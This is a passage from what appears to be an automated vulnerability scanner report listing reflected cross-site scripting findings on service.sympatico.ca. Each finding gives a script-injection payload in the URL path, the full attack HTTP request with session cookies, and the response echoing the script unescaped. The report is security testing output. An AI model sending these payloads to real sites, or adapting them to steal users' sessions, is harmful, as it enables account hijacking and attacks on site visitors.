Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e5a1"><script>alert(1)</script>e276911d8cf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images8e5a1"><script>alert(1)</script>e276911d8cf/backgrounds/bg_provinceSelector.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:53 GMT
Connection: close
Set-Cookie: SMSESSION=Y5haighpQatk93TeqRzPQgFMiFGTXXdLmM3Z4h6sXSnta9CXkOcOund523ul5A+WGtW+QLT4W0Ki2FQ0+mJJ0PSERzmSfYK2dejb2OKQ1GLgJ8uX3VnqW6ukrCNZ0pMsQXBBSo4Ld/lwLMyHoMYEQ0Xi+uNoRHyRtFfKAKDoZRg8Hak616OHc/dsvkfmcLww5a2rGWllJ8CY2jOz3tz3EhOW85IU/8J5ts6rLli27CJGusWXtW/DWoMeJdNV0S5cAMDcc0fLmQrMJb+4WqhJO5ThNI02uEhqnwHfGfuzZT79vFyiKBNjeA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:53 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:53 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:53 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:53 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images8e5a1"><script>alert(1)</script>e276911d8cf/backgrounds/bg_provinceSelector.png" />
...[SNIP]...

2.95. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86da6"><script>alert(1)</script>a547b97326a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds86da6"><script>alert(1)</script>a547b97326a/bg_provinceSelector.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:00 GMT
Connection: close
Set-Cookie: SMSESSION=kvA8m/K6h3o84YjLgI1N6HmXgY9de3zm3mBk46OjvTjP5/5VGW0p56eA7NepIwoJ24/R3qTYvnVoI3hueBXXY0WOLEXwop/7le8SBzakXRM2J6QwpUaWkd64iyImYV3/gXe7tzo42VqewnahoPfMoRORp8vqdsEJS3pHzJcWRrIOfZnw/oLAWd4c/vmFsqLzBww8nyPB26aK6jGR9ycII9RQWyUBOyP73S5UWheR5O2NG4i+xQkNYau9zJaeyxwtZuOY3t1vSmXA8TDjSk95m6wqGl9qK6jQExa5VgYa8fsy63tvdSBoZg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:01 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:01 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:01 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds86da6"><script>alert(1)</script>a547b97326a/bg_provinceSelector.png" />
...[SNIP]...

2.96. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 412fc"><script>alert(1)</script>26a3237dfd3 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/backgrounds/bg_provinceSelector.png412fc"><script>alert(1)</script>26a3237dfd3 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:08 GMT
Connection: close
Set-Cookie: SMSESSION=L23nglH0B8eNtTzdm6EA8S9oHVSHpleh4Bkc1slbRoIkgRlAzyt6G7DpUXI5XtZHZ2IWUqWdEs4OtvJzuLTdspmiYqMQKK+5ZhmZslBet6KnvM+GcNRb4oA9bkEFAtauNFazuEyJIvxoYadto24KINCApTVtrcMenW+9UrnpHVX/KV+8SaGmLnXnw3s5VoqHNRzPtbFqcXtYlxBgrjfJiyjSkkMtznfDgzbZimNwKvOr685VyhUrWs0NZ0o+RuB86EGpEqEzbUQl2ZEz74fyKXggB8KMql8Bm6CNGo1jgIqoYOnmZC/ZTA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:09 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:09 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fr